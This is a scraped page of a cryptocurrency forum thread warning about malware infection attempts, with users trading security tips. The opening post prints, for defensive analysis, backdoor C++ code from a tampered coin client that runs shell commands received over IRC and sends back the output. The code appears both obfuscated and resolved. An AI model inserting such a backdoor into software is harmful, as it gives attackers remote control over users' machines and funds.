The malware and cryptoware threat is absolutely there. The first thing you should do is regularly make a backup of your files.
Besides that I recommend Malwarebytes or Heimdal Security Pro software together with your antivirus program. Those two will actively ... uhh, how do you say it in English? Scan or real-time check your status.
When you are the unlucky one who’s Dropbox is encrypted by Cryptoware.. Dropbox can put back a backup until 30 days I believe. Don’t wait to long contacting them.
For password use a password safe like Enpass or 1password. Copy paste your password is safer than type it out. You can also use a virtual keyboard for that or for your credit card codes. A keylogger will see only the ‘clicks’ then ☺︎
Topic: Beware of Increasingly Sophisticated Malware Infection Attempts - page 27. (Read 704592 times)
January 18, 2018, 05:58:35 PM
January 18, 2018, 03:14:00 PM
recenlty I was a victim of this.
January 18, 2018, 02:57:41 PM
Tell me, is it so MAC OS is not protected from such attempts to harm? It seemed to me that Apple's products are quite protected
January 17, 2018, 11:44:48 PM
does anyone here tried cisco amp?
January 17, 2018, 10:15:54 PM
Appreciate the update. Any good stories about catching these guys?
January 17, 2018, 03:09:00 PM
Bitdefender+Malwarebytes+ADW Cleaner 
January 16, 2018, 07:57:31 PM
some site have mining scrypts that mine monero
January 16, 2018, 04:28:24 PM
Its time to buy hardware wallets.
That is very sound advice! The Ledger Nano S is an excellent choice to protect against malware or ransomeware viruses. However, be careful who you buy it from. Get it from the manufacturer directly or from a licensed retailer.
January 16, 2018, 10:00:27 AM
thanks for this very valuable info. but I'm just thinking is an antivirus like eset or kapersky not enough? I mean they are kind of decent anti-virus(malware) right? anyways thanks again. keep us informed in the future. thank you.
January 16, 2018, 04:18:41 AM
I have long ago on my own mistakes realized that opening any links is very unsafe. Therefore, I usually use either a sandbox for windows (https://ru.wikipedia.org/wiki/Sandboxie) or a virtual machine. This is very useful in terms of security.
Using bootable windows could also be an problem solver here. Thanks for spreading the word. January 16, 2018, 04:17:20 AM
How do we stop this malware to infect our computers?
January 16, 2018, 03:24:58 AM
I have long ago on my own mistakes realized that opening any links is very unsafe. Therefore, I usually use either a sandbox for windows (https://ru.wikipedia.org/wiki/Sandboxie) or a virtual machine. This is very useful in terms of security.
January 15, 2018, 07:30:03 AM
Thanks for sharing, very helpful information.
January 14, 2018, 09:17:40 PM
I don't know if this is a malware or what but everytime I copy an address and paste it where I should when I intent to send some funds the address is change some characters are omitted that's why when making transactions I used my phone instead of my pc, does anyone experience this too?..If this is a malware infection what should I do?
sounds like you might've cought something there. i've heard of a virus that replaces BTC addresses when pasting.
no reason to panic, scan your pc, and remove the bug, i use clamwin + malwarebytes
last resort backup your stuf and reinstall the OS after a full reformat
January 14, 2018, 12:37:48 PM
I don't know if this is a malware or what but everytime I copy an address and paste it where I should when I intent to send some funds the address is change some characters are omitted that's why when making transactions I used my phone instead of my pc, does anyone experience this too?..If this is a malware infection what should I do?
January 14, 2018, 01:38:32 AM
This sounds really scary, but I guess that where is the money, there are also malversations
thanks for this information
thanks for this information
January 13, 2018, 08:17:08 PM
Thank you guys for the very useful post - especially useful for all us newbies! 
January 13, 2018, 12:48:00 PM
great post ...thanks for sharing
I will add it to the black list
I will add it to the black list
January 13, 2018, 05:12:00 AM
I'm adding this to the list of possible scams:
https://bitcointalksearch.org/topic/blockchain-different-from-source-code-951827
https://bitcointalksearch.org/topic/blockchain-different-from-source-code-951827
So to my understanding...no type of anti-virus software can stop this?
Are there any new software for windows that can prevent this??
January 13, 2018, 04:03:54 AM
In the past months, malware infection attempts on this forum has become increasingly sophisticated. Below is a summary of infection techniques that I have encountered. With the most sophisticated attacks, common sense and virus scans is no longer sufficient to ensure safety.
"latest wallet"/"custom wallet"/"faster miner"
A newbie asks for the latest wallet, or wallet that doesn't have any tx fees, or the latest/fastest miner, and the attacker posts his in response. This type of attempt Usually gets spotted pretty quickly.
Copied/new ANN
The attacker creates a new ANN topic and posts a malware link as the wallet (or a legit one and changes it to a malware one later).
Replacing links in quotes
The attacker quotes a legitimate post containing a download link written by the real developer (usually the OP or a update post) and changes the link within the quote to a malware link.
Compromised dev account
The developer account (usually responsible for making the OP) is compromised and a "mandatory update" is posted. This usually happens with old/abandoned coins so the real developer isn't there to notice the rogue update.
Packed/FUD executables
In most of the cases above, the malware has little to now detections on virustotal. This is because any script kiddie can pay $30 and have their malware crypted, rendering them fully undetectable.
Modified source with backdoor
This was recently brought to my attention via a user report. A newbie, under the guise of reviving a coin posted a new client along with source. However, the source was modified to include a backdoor in the IRC bootstrapping mechanism.
here is the relevant source code:
"latest wallet"/"custom wallet"/"faster miner"
A newbie asks for the latest wallet, or wallet that doesn't have any tx fees, or the latest/fastest miner, and the attacker posts his in response. This type of attempt Usually gets spotted pretty quickly.
Copied/new ANN
The attacker creates a new ANN topic and posts a malware link as the wallet (or a legit one and changes it to a malware one later).
Replacing links in quotes
The attacker quotes a legitimate post containing a download link written by the real developer (usually the OP or a update post) and changes the link within the quote to a malware link.
Compromised dev account
The developer account (usually responsible for making the OP) is compromised and a "mandatory update" is posted. This usually happens with old/abandoned coins so the real developer isn't there to notice the rogue update.
Packed/FUD executables
In most of the cases above, the malware has little to now detections on virustotal. This is because any script kiddie can pay $30 and have their malware crypted, rendering them fully undetectable.
Modified source with backdoor
This was recently brought to my attention via a user report. A newbie, under the guise of reviving a coin posted a new client along with source. However, the source was modified to include a backdoor in the IRC bootstrapping mechanism.
here is the relevant source code:
Code:
if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
{
CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
if (buf) {
std::string result = "";
while (!feof(buf))
if (fgets(pszName, sizeof(pszName), buf) != NULL)
result += pszName;
CFree(buf);
strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
if (strchr(pszName, '!'))
*strchr(pszName, '!') = '\0';
Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
}
}
here is the source code with macros resolved:{
CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
if (buf) {
std::string result = "";
while (!feof(buf))
if (fgets(pszName, sizeof(pszName), buf) != NULL)
result += pszName;
CFree(buf);
strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
if (strchr(pszName, '!'))
*strchr(pszName, '!') = '\0';
Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
}
}
Code:
if (vWords[1] == "PRIVMSG" && vWords[3] == ":!" && vWords[0].size() > 1)
{
FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
if (buf) {
std::string result = "";
while (!feof(buf))
if (fgets(pszName, sizeof(pszName), buf) != NULL)
result += pszName;
pclose(buf);
strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
if (strchr(pszName, '!'))
*strchr(pszName, '!') = '\0';
Send(hSocket, strprintf("%s %s :%s\r", "PRIVMSG", pszName, result.c_str()).c_str());
}
}
The code was part of the initial commit, so it would be difficult to notice the addition of the code by casual inspection. Also, this would likely not show up on any virus scans.{
FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
if (buf) {
std::string result = "";
while (!feof(buf))
if (fgets(pszName, sizeof(pszName), buf) != NULL)
result += pszName;
pclose(buf);
strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
if (strchr(pszName, '!'))
*strchr(pszName, '!') = '\0';
Send(hSocket, strprintf("%s %s :%s\r", "PRIVMSG", pszName, result.c_str()).c_str());
}
}
Hi there, I would like to ask if is safe to use incognito mode in goggle chrome. Or do I need to install software application that blocks the malware. Thanks in advance.
As you said virus scan no longer sufficient, any advice for android user ? Im kinda new to this.
Jump to: